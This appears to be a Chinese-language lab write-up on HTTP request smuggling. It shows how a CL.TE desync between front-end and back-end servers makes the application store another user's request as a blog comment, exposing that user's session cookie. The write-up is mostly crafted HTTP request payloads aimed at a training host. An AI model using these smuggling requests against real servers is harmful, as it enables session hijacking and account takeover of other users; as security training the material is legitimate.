> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capturing-other-users-requests.md).
# 捕获其他用户的请求
### 利用 HTTP 请求走私捕获其他用户的请求
该实验室设置了一个前端服务器和一个后端服务器。前端 **不支持分块编码**。/ 目标是 **走私者** 一个请求到后端，以便 **下一个用户请求** 是 **被应用程序存储**。/ 然后， **恢复该请求** 并使用 **受害者的 cookie** 以访问其账户。
实验室模拟一个受害者用户：在发送少量 POST 请求后，受害者会执行自己的请求。/ 有时需要多次重复攻击。
> 尽管实验室允许使用 HTTP/2，但解决方案必须使用 **HTTP/1** 因为某些技术只能在该协议中实现。" " 前端解析 **Content-Length**，而后端将 **Transfer-Encoding: chunked**，从而产生可利用的偏移。" " Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。
#### 1. **前端解析的请求**
前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
在分块结束后（`0`），会添加一个额外的后端请求。
#### 2. **注入一个用于发布评论的 POST 请求**
你构造一个包含第二个完整请求的走私请求：
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
结果：/ 走私请求被视为来自你自己的会话，应用程序发布了该评论。
#### 3. **强制受害者发布评论**
你将请求体修改为：
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
并发送类似的请求。/ 重新加载时，应用程序显示 **感谢您的评论**，表明受害者发布了这条评论。
#### 4. **准备捕获受害者的请求**
要捕获受害者用户的整个请求，你大幅增加 `Content-Length` 使后端将以下请求作为内容读取：
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
接下来受害者发送的请求随后被吸收到预期的请求体中……/ 并变成 **可在应用程序的存储中查看**.
---
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